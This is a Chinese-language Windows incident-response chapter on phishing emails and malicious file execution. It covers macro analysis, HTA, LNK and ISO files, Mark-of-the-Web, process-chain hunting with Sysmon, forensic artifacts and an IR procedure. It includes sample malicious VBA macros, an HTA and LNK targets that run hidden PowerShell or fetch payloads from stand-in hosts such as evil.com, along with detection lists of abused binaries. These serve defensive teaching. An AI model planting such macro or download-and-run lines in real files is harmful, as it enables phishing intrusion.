Windows应急响应 - 14 钓鱼邮件与恶意文件执行

钓鱼邮件与恶意文件执行

钓鱼邮件是Windows环境中最常见的初始入侵向量——理解从邮件到载荷执行的完整kill chain是IR的核心能力

本章覆盖: 邮件投递机制、Office宏分析、各类恶意文件格式、MotW机制、进程链分析、取证制品关联

交叉参考: 04-取证制品分析 | 10-PowerShell日志与脚本分析

一、钓鱼攻击Kill Chain概述

1.1 典型攻击链

1
邮件到达 → 用户打开附件/点击链接 → 宏/脚本执行 → 下载二阶段payload → 持久化 → C2通信

阶段1: 投递(Delivery) — 钓鱼邮件携带附件或链接

阶段2: 触发(Exploitation) — 用户启用宏/打开恶意文件/点击链接

阶段3: 安装(Installation) — 下载并执行后续payload, 建立持久化

阶段4: 命令与控制(C2) — 建立回连通道

IR的目标: 在每个阶段找到取证证据,还原完整攻击路径

1.2 常见投递方式

方式 文件类型 特点
直接附件 .doc/.docm/.xls/.xlsm 传统宏攻击
压缩包附件 .zip/.rar/.7z(含密码) 绕过网关扫描
链接下载 URL→.exe/.msi/.hta 绕过附件检测
ISO/IMG挂载 .iso/.img/.vhd 绕过MotW(旧版)
LNK快捷方式 .lnk 伪装为文档图标
HTML Smuggling .html(内嵌Base64) 浏览器端解码落地
OneNote嵌入 .one 2023年新兴攻击面

二、Office宏分析

2.1 VBA宏基础

恶意宏通常利用自动执行入口:

Auto_Open() — 工作簿打开时执行(Excel)

Document_Open() — 文档打开时执行(Word)

Auto_Close() / Document_Close() — 关闭时执行

Workbook_Open() — Excel事件处理

宏通过以下方式执行恶意操作:

Shell() 函数启动进程

WScript.Shell COM对象执行命令

CreateObject("Scripting.FileSystemObject") 文件操作

XMLHTTP / WinHTTP 下载文件

PowerShell 调用执行编码命令

2.2 宏提取与分析工具

olevba (oletools)

1
2
3
4
5
6
7
8
9
10
11
:: 安装oletools (Python)
pip install oletools

:: 提取并分析VBA宏
olevba suspicious.docm

:: 仅显示可疑关键词
olevba --decode suspicious.docm

:: 分析OLE流
oleid suspicious.doc

olevba自动标记的高危指标:

AutoExec: Auto_Open, Document_Open 等自动执行

Suspicious: Shell, CreateObject, Environ, PowerShell

IOC: URL, IP地址, 文件路径

Hex Strings: 十六进制编码的字符串(常用于混淆)

手动提取VBA (无工具时)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 将.docm重命名为.zip并解压
Copy-Item "suspicious.docm" "suspicious.zip"
Expand-Archive "suspicious.zip" -DestinationPath "C:\IR\docm_extracted"
# VBA宏存储在 word/vbaProject.bin 中(OLE格式)
# 或使用PowerShell解析
$word = New-Object -ComObject Word.Application
$word.Visible = $false
$doc = $word.Documents.Open("C:\IR\suspicious.docm")
foreach ($comp in $doc.VBProject.VBComponents) {
Write-Host "=== Module: $($comp.Name) ==="
Write-Host $comp.CodeModule.Lines(1, $comp.CodeModule.CountOfLines)
}
$doc.Close()
$word.Quit()

典型恶意宏示例分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
' 典型的恶意宏结构
Sub Document_Open()
Dim cmd As String
' 混淆的PowerShell命令
cmd = "powershell -nop -w hidden -e " & Chr(83) & Chr(65) & Chr(66) & "..."
' 使用WScript.Shell执行
Dim wsh As Object
Set wsh = CreateObject("WScript.Shell")
wsh.Run cmd, 0, False
End Sub

' 变体: 使用环境变量拼接绕过检测
Sub Auto_Open()
x = Environ("COMSPEC") ' C:\Windows\System32\cmd.exe
Shell x & " /c powershell -ep bypass -f \\attacker\share\payload.ps1", vbHide
End Sub

2.3 宏安全策略检查

1
2
3
4
5
6
7
# 检查Office宏安全设置(注册表)
# Word
Get-ItemProperty "HKCU:\Software\Microsoft\Office\*\Word\Security" -ErrorAction SilentlyContinue |
Select-Object PSPath, VBAWarnings, AccessVBOM, BlockContentExecutionFromInternet
# Excel
Get-ItemProperty "HKCU:\Software\Microsoft\Office\*\Excel\Security" -ErrorAction SilentlyContinue |
Select-Object PSPath, VBAWarnings, AccessVBOM, BlockContentExecutionFromInternet

VBAWarnings值:

1 = 启用所有宏(危险!)

2 = 禁用所有宏但通知(默认)

3 = 仅启用数字签名的宏

4 = 禁用所有宏不通知

2022年起微软默认阻止来自互联网的Office宏(MotW标记的文件)

三、各类恶意文件格式详解

3.1 Office文档 (.doc/.docm/.xls/.xlsm/.pptm)

.doc(OLE格式) vs .docx(Open XML) — 旧格式.doc可直接嵌入宏

.docm/.xlsm 明确表示包含宏的Open XML文档

.xls 还可包含Excel 4.0宏(XLM Macro)——不使用VBA,更难检测

Excel 4.0 Macro检测:

1
2
3
4
5
:: 使用olevba检测XLM宏
olevba --xlm suspicious.xls
:: 专用工具XLMMacroDeobfuscator
pip install XLMMacroDeobfuscator
xlmdeobfuscator -f suspicious.xls

3.2 HTA文件 (.hta)

HTML Application — 由mshta.exe执行,可包含VBScript/JScript

不受浏览器安全限制,拥有本地应用程序权限

1
2
3
4
5
6
7
8
9
10
<!-- 典型恶意HTA -->
<html>
<body>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -nop -w hidden -enc JABjAGwA..."
self.close
</script>
</body>
</html>

检测: 进程树中出现 mshta.execmd.exe / powershell.exe 是高度可疑的

1
2
3
4
5
6
# 搜索mshta.exe执行记录
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} |
Where-Object { $_.Properties[5].Value -match 'mshta\.exe' } |
Select-Object TimeCreated,
@{N='ParentProcess';E={$_.Properties[13].Value}},
@{N='CommandLine';E={$_.Properties[8].Value}}

3.3 LNK快捷方式 (.lnk)

可伪装图标为Word/PDF文档,双击执行嵌入的命令

目标命令字段有限(约260字符),但可用多种技巧扩展

1
2
3
4
5
6
7
8
# 解析LNK文件内容
$shell = New-Object -ComObject WScript.Shell
$lnk = $shell.CreateShortcut("C:\IR\suspicious.lnk")
Write-Host "Target: $($lnk.TargetPath)"
Write-Host "Arguments: $($lnk.Arguments)"
Write-Host "WorkingDir: $($lnk.WorkingDirectory)"
Write-Host "IconLocation: $($lnk.IconLocation)"
Write-Host "Description: $($lnk.Description)"
1
2
# 使用LECmd (Eric Zimmerman)解析LNK详细信息
# LECmd.exe -f "C:\IR\suspicious.lnk" --csv "C:\IR\"

典型恶意LNK的Target:

1
2
3
C:\Windows\System32\cmd.exe /c powershell -nop -w hidden -enc JABj...
C:\Windows\System32\mshta.exe http://evil.com/payload.hta
C:\Windows\System32\forfiles.exe /p C:\Windows /m notepad.exe /c "cmd /c powershell..."

3.4 ISO/IMG/VHD 磁盘镜像

Windows 10+可直接双击挂载ISO/IMG文件

关键: 挂载后内部文件不继承MotW标记(在旧版Windows中)

攻击者将恶意文件打包到ISO中绕过MotW保护

2022年11月Windows更新后ISO内文件也会传播MotW

检测ISO挂载:

1
2
3
4
5
6
7
8
9
10
# 检查最近的ISO/IMG挂载(Event Log)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-VHDMP-Operational'} -ErrorAction SilentlyContinue |
Select-Object TimeCreated, Message -First 20

# Sysmon Event ID 1中搜索从挂载盘符执行的进程
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
Where-Object { $_.Properties[10].Value -match '^[D-Z]:\\' } |
Select-Object TimeCreated,
@{N='Image';E={$_.Properties[4].Value}},
@{N='CommandLine';E={$_.Properties[10].Value}}

3.5 其他格式

.chm (Compiled HTML Help): 可嵌入JS/VBS,由hh.exe执行

.wsf / .wsh / .vbs / .js: Windows Script Host文件,由wscript/cscript执行

.msi: Windows Installer包,可包含Custom Action执行任意代码

.cab: 压缩包,可被expand.exe解压后执行内容

.application / .appref-ms: ClickOnce部署,可下载执行.NET应用

.one (OneNote): 可嵌入文件对象,双击执行; 2023年攻击激增

统一检测策略: 监控非常见父进程(如hh.exe, wscript.exe, cscript.exe, msiexec.exe)创建子进程

四、Mark-of-the-Web (MotW) 与 Zone.Identifier

4.1 MotW机制

Windows通过NTFS Alternate Data Stream (ADS) Zone.Identifier 标记文件来源

当文件来自互联网(浏览器下载、邮件附件保存),会被标记Zone=3

MotW触发Office的Protected View和宏阻止

Zone值:

0 = 本地计算机

1 = 本地Intranet

2 = 受信任站点

3 = Internet (触发保护)

4 = 受限站点

4.2 检查Zone.Identifier

1
2
3
4
5
6
7
# 查看文件的Zone.Identifier ADS
Get-Content "C:\Users\victim\Downloads\suspicious.docm" -Stream Zone.Identifier
# 输出示例:
# [ZoneTransfer]
# ZoneId=3
# ReferrerUrl=https://evil.com/download
# HostUrl=https://evil.com/files/suspicious.docm
1
2
3
4
5
6
7
8
9
10
11
12
13
# 批量搜索最近下载的带MotW标记的文件
Get-ChildItem "C:\Users\*\Downloads\*" -Recurse -ErrorAction SilentlyContinue |
ForEach-Object {
$zone = Get-Content $_.FullName -Stream Zone.Identifier -ErrorAction SilentlyContinue
if ($zone) {
[PSCustomObject]@{
File = $_.FullName
LastWriteTime = $_.LastWriteTime
Size = $_.Length
ZoneInfo = ($zone -join ' | ')
}
}
} | Format-Table -AutoSize
1
2
:: 使用dir /r查看ADS (Alternate Data Streams)
dir /r "C:\Users\victim\Downloads\"

4.3 MotW绕过手法

ISO/IMG/VHD挂载: 旧版Windows中挂载后内容不继承MotW

容器格式(.7z, .cab): 某些解压工具不传播MotW

用户手动移除: 右键→属性→解除锁定(Unblock)

程序移除: 攻击者在脚本中调用 Unblock-File 或删除ADS

CVE-2022-41091: 绕过MotW的已知漏洞

检测MotW被移除:

1
2
3
4
5
# Sysmon Event ID 26 (FileDeleteDetected) 可能捕获ADS删除
# 或使用Event ID 4688搜索Unblock-File
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} |
Where-Object { $_.Properties[8].Value -match 'Unblock-File|Zone\.Identifier' } |
Select-Object TimeCreated, @{N='Cmd';E={$_.Properties[8].Value}}

4.4 MotW在IR中的价值

ReferrerUrl: 记录下载来源URL,可能直接指向钓鱼页面

HostUrl: 实际下载地址

即使文件已被删除,$MFT中的ADS记录仍可能存在

结合浏览器历史记录交叉验证下载来源

五、进程链分析

5.1 典型恶意进程链

1
2
3
4
5
6
7
正常: explorer.exe → WINWORD.EXE(用户双击文档)
异常: WINWORD.EXE → cmd.exe → powershell.exe(宏执行)
异常: WINWORD.EXE → powershell.exe -enc ...(直接PS调用)
异常: WINWORD.EXE → mshta.exe http://...(HTA下载执行)
异常: WINWORD.EXE → certutil.exe -urlcache ...(下载payload)
异常: WINWORD.EXE → rundll32.exe(DLL执行)
异常: outlook.exe → WINWORD.EXE → cmd.exe(邮件→文档→命令)

核心规则: Office进程(WINWORD.EXE, EXCEL.EXE, POWERPNT.EXE)不应创建以下子进程:

cmd.exe, powershell.exe, pwsh.exe

mshta.exe, cscript.exe, wscript.exe

certutil.exe, bitsadmin.exe

rundll32.exe, regsvr32.exe

schtasks.exe, net.exe

5.2 使用Sysmon分析进程树

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# Sysmon Event ID 1 — 搜索Office创建的可疑子进程
$officeProcs = @('WINWORD.EXE', 'EXCEL.EXE', 'POWERPNT.EXE', 'OUTLOOK.EXE', 'MSACCESS.EXE')
$suspiciousChildren = @('cmd.exe', 'powershell.exe', 'pwsh.exe', 'mshta.exe',
'cscript.exe', 'wscript.exe', 'certutil.exe', 'bitsadmin.exe',
'rundll32.exe', 'regsvr32.exe', 'schtasks.exe')

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
ForEach-Object {
$parentImage = Split-Path $_.Properties[20].Value -Leaf # ParentImage
$childImage = Split-Path $_.Properties[4].Value -Leaf # Image
if ($officeProcs -contains $parentImage -and $suspiciousChildren -contains $childImage) {
[PSCustomObject]@{
Time = $_.TimeCreated
ParentProcess = $_.Properties[20].Value
ChildProcess = $_.Properties[4].Value
CommandLine = $_.Properties[10].Value
User = $_.Properties[12].Value
}
}
} | Format-List

5.3 使用Security日志分析 (无Sysmon时)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 需要启用"Audit Process Creation"和"Include command line in process creation events"
# Event ID 4688
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} |
Where-Object {
$newProc = $_.Properties[5].Value # NewProcessName
$parentProc = $_.Properties[13].Value # ParentProcessName
($parentProc -match 'WINWORD|EXCEL|POWERPNT|OUTLOOK') -and
($newProc -match 'cmd\.exe|powershell|mshta|cscript|wscript|certutil|rundll32')
} |
Select-Object TimeCreated,
@{N='Parent';E={$_.Properties[13].Value}},
@{N='NewProcess';E={$_.Properties[5].Value}},
@{N='CommandLine';E={$_.Properties[8].Value}},
@{N='User';E={$_.Properties[1].Value}} |
Format-List

5.4 进程链可视化重建

工具推荐:

Process Monitor (ProcMon): 实时监控,可设置Boot Logging

Sysmon + Sysmon View: 可视化进程树

Timeline Explorer: 加载CSV进行时间线分析

APT-Hunter: 自动化evtx分析,自动标记可疑进程链

手动重建进程树:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 从Sysmon日志重建进程树
$procs = Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
Select-Object TimeCreated,
@{N='PID';E={$_.Properties[3].Value}},
@{N='Image';E={$_.Properties[4].Value}},
@{N='CommandLine';E={$_.Properties[10].Value}},
@{N='ParentPID';E={$_.Properties[19].Value}},
@{N='ParentImage';E={$_.Properties[20].Value}}

# 从特定PID开始向上追溯
function Get-ProcessChain {
param([string]$TargetPID)
$chain = @()
$current = $procs | Where-Object { $_.PID -eq $TargetPID } | Select-Object -First 1
while ($current) {
$chain += $current
$current = $procs | Where-Object { $_.PID -eq $chain[-1].ParentPID } | Select-Object -First 1
if ($chain.Count -gt 20) { break } # 防止无限循环
}
$chain | Format-Table Time, PID, ParentPID, Image, CommandLine -AutoSize
}

六、取证制品关联分析

6.1 Prefetch分析

Prefetch记录程序执行历史(路径: C:\Windows\Prefetch\)

关键信息: 程序名、执行次数、最后执行时间、加载的文件/目录列表

1
2
3
4
5
6
7
8
9
10
# 搜索可疑程序的Prefetch文件
$suspiciousNames = @('POWERSHELL', 'CMD', 'MSHTA', 'CSCRIPT', 'WSCRIPT',
'CERTUTIL', 'BITSADMIN', 'RUNDLL32', 'REGSVR32')
Get-ChildItem "C:\Windows\Prefetch\*.pf" |
Where-Object { $name = $_.BaseName.ToUpper()
foreach ($s in $suspiciousNames) { if ($name -match $s) { return $true } }
return $false
} |
Select-Object Name, LastWriteTime, CreationTime, Length |
Sort-Object LastWriteTime -Descending

使用PECmd (Eric Zimmerman)解析Prefetch:

1
2
PECmd.exe -d "C:\Windows\Prefetch" --csv "C:\IR\" -q
:: 输出包含执行时间、运行次数、加载的文件列表

IR价值: Prefetch中的文件引用列表可显示恶意文档的完整路径(如 C:\Users\victim\Downloads\invoice.docm)

6.2 Amcache分析

Amcache.hve记录程序执行历史和文件元数据(SHA1哈希!)

路径: C:\Windows\AppCompat\Programs\Amcache.hve

1
2
# 使用AmcacheParser (Eric Zimmerman)
# AmcacheParser.exe -f "C:\Windows\AppCompat\Programs\Amcache.hve" --csv "C:\IR\" -i

IR价值: Amcache记录的SHA1可直接提交VT/恶意软件分析平台查询

6.3 Shimcache (AppCompatCache)

记录程序是否存在于系统上(不一定执行)

存储在注册表: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache

1
2
# 使用AppCompatCacheParser (Eric Zimmerman)
# AppCompatCacheParser.exe --csv "C:\IR\" -t

6.4 RecentDocs与JumpList

1
2
3
4
5
6
7
8
# 最近打开的文档(注册表)
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.docm" -ErrorAction SilentlyContinue
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs\.doc" -ErrorAction SilentlyContinue

# 搜索所有Recent Items
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Recent\*.lnk" |
Sort-Object LastWriteTime -Descending |
Select-Object Name, LastWriteTime -First 30

JumpList分析:

1
2
3
4
5
6
# AutomaticDestinations (固定在任务栏的程序的最近文件)
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Recent\AutomaticDestinations\*.automaticDestinations-ms" |
Sort-Object LastWriteTime -Descending |
Select-Object Name, LastWriteTime
# 使用JLECmd (Eric Zimmerman)解析
# JLECmd.exe -d "$env:APPDATA\Microsoft\Windows\Recent\AutomaticDestinations" --csv "C:\IR\"

6.5 Sysmon事件关联

Event ID 用途
1 进程创建(完整命令行+父进程+哈希)
3 网络连接(下载payload时)
7 Image Load(DLL加载,检测DLL注入)
11 文件创建(payload落地)
15 FileCreateStreamHash(ADS创建,含MotW)
22 DNS查询(C2域名解析)
23 文件删除(攻击者清理痕迹)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Sysmon ID 11 — 文件创建(关注Office进程创建的文件)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=11} |
Where-Object { $_.Properties[4].Value -match 'WINWORD|EXCEL|POWERPNT' } |
Select-Object TimeCreated,
@{N='Process';E={$_.Properties[4].Value}},
@{N='TargetFile';E={$_.Properties[6].Value}} |
Format-List

# Sysmon ID 15 — ADS创建(MotW写入)
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=15} |
Select-Object TimeCreated,
@{N='Process';E={$_.Properties[4].Value}},
@{N='TargetFile';E={$_.Properties[6].Value}},
@{N='Hash';E={$_.Properties[8].Value}} -First 20

七、邮件头分析基础

7.1 关键邮件头字段

1
2
3
4
5
6
7
Return-Path: <actual-sender@evil.com>     ← 实际发件服务器的信封发件人
Received: from mail.evil.com (1.2.3.4) ← 邮件传递路径(从下往上读)
From: "CEO Name" <ceo@company.com> ← 显示名(可伪造!)
Reply-To: attacker@evil.com ← 回复地址(不同于From则高度可疑)
Message-ID: <unique@sender-domain> ← 消息唯一标识
X-Originating-IP: 1.2.3.4 ← 发件人原始IP(部分邮件服务器添加)
Authentication-Results: ← SPF/DKIM/DMARC验证结果

7.2 SPF/DKIM/DMARC检查

SPF (Sender Policy Framework): 检查发件IP是否在域名的SPF记录中

DKIM (DomainKeys Identified Mail): 验证邮件签名是否与域名公钥匹配

DMARC: 基于SPF+DKIM的策略,定义验证失败时的处理方式

1
2
3
4
Authentication-Results: mx.company.com;
spf=fail (sender IP 1.2.3.4 not permitted) ← SPF失败=可疑
dkim=fail (signature not valid) ← DKIM失败=可疑
dmarc=fail (p=reject) ← DMARC失败=可疑

所有三项验证都失败 → 大概率是伪造/恶意邮件

7.3 从Exchange/Outlook提取邮件

1
2
3
4
5
6
7
8
9
10
11
# Exchange Online — 使用EXO PowerShell搜索可疑邮件
# Connect-ExchangeOnline
# Get-MessageTrace -SenderAddress "attacker@evil.com" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date)

# 本地Outlook — 搜索指定发件人的邮件
$outlook = New-Object -ComObject Outlook.Application
$namespace = $outlook.GetNamespace("MAPI")
$inbox = $namespace.GetDefaultFolder(6) # 6 = Inbox
$inbox.Items | Where-Object { $_.SenderEmailAddress -match 'evil\.com' } |
Select-Object Subject, SenderEmailAddress, ReceivedTime, Attachments |
Format-List
1
2
# 保存可疑邮件为.msg文件供后续分析
# $mail.SaveAs("C:\IR\phishing_email.msg", 3) # 3 = olMSG

7.4 邮件附件哈希提取

1
2
3
4
5
6
7
8
9
10
11
# 计算附件文件哈希并查询VirusTotal
$files = Get-ChildItem "C:\IR\attachments\*"
foreach ($f in $files) {
$md5 = (Get-FileHash $f.FullName -Algorithm MD5).Hash
$sha256 = (Get-FileHash $f.FullName -Algorithm SHA256).Hash
Write-Host "$($f.Name)"
Write-Host " MD5: $md5"
Write-Host " SHA256: $sha256"
Write-Host " VT URL: https://www.virustotal.com/gui/file/$sha256"
Write-Host ""
}

八、HTML Smuggling 检测

8.1 原理

攻击者将payload以Base64编码嵌入HTML文件中

用户用浏览器打开HTML时,JavaScript在客户端解码并自动触发下载

绕过网络层检测(传输的只是HTML文件)

常见于Nobelium/APT29、QakBot等高级攻击组

8.2 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 搜索下载目录中的HTML文件(近期的)
Get-ChildItem "C:\Users\*\Downloads\*.html","C:\Users\*\Downloads\*.htm" -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) } |
ForEach-Object {
$content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue
if ($content -match 'atob|Uint8Array|Blob|createObjectURL|application/octet-stream|saveAs') {
[PSCustomObject]@{
File = $_.FullName
LastWriteTime = $_.LastWriteTime
SuspiciousPatterns = ($Matches.Values -join ', ')
Size = $_.Length
}
}
}

浏览器日志中会显示本地文件访问(file://协议)后紧跟文件下载

九、实战分析流程 - 钓鱼邮件IR SOP

Step 1: 确认钓鱼邮件

获取原始邮件(.eml/.msg),分析邮件头

检查SPF/DKIM/DMARC结果

提取附件或URL

记录: 发件人、收件人列表、发送时间、主题

Step 2: 附件/URL分析

计算文件哈希,查询VT/Malware Bazaar

沙箱运行(ANY.RUN, Hybrid Analysis)

URL查询(urlscan.io, VirusTotal URL scan)

olevba分析宏内容

Step 3: 受影响主机排查

确认哪些用户打开了附件(Prefetch, Amcache, RecentDocs)

检查MotW/Zone.Identifier确认文件来源

分析进程链(Sysmon/4688)确认是否执行了恶意代码

检查PowerShell 4104日志确认后续操作

Step 4: 确定影响范围

搜索同一发件人发送给其他用户的邮件

检查是否有横向移动迹象 → 15-横向移动检测

检查C2通信(网络日志、DNS日志)

Step 5: 遏制与清除

隔离受影响主机

在邮件网关中阻止发件人/域名/附件哈希

撤回已投递的邮件(Exchange: Search-Mailbox -DeleteContent)

清除恶意文件和持久化机制

重置受影响账户密码

Step 6: 加固

阻止Office宏(GPO: Block macros in Office files from Internet)

启用ASR规则(Attack Surface Reduction):

1
2
3
4
5
6
# 阻止Office应用创建子进程
Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
# 阻止Office应用创建可执行内容
Add-MpPreference -AttackSurfaceReductionRules_Ids 3B576869-A4EC-4529-8536-B80A7769E899 -AttackSurfaceReductionRules_Actions Enabled
# 阻止Office应用注入代码到其他进程
Add-MpPreference -AttackSurfaceReductionRules_Ids 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 -AttackSurfaceReductionRules_Actions Enabled

部署邮件沙箱(如Microsoft Defender for Office 365 Safe Attachments)

员工安全意识培训


上一章 目录 下一章
13-SQL-Server入侵分析 Windows应急响应 15-横向移动检测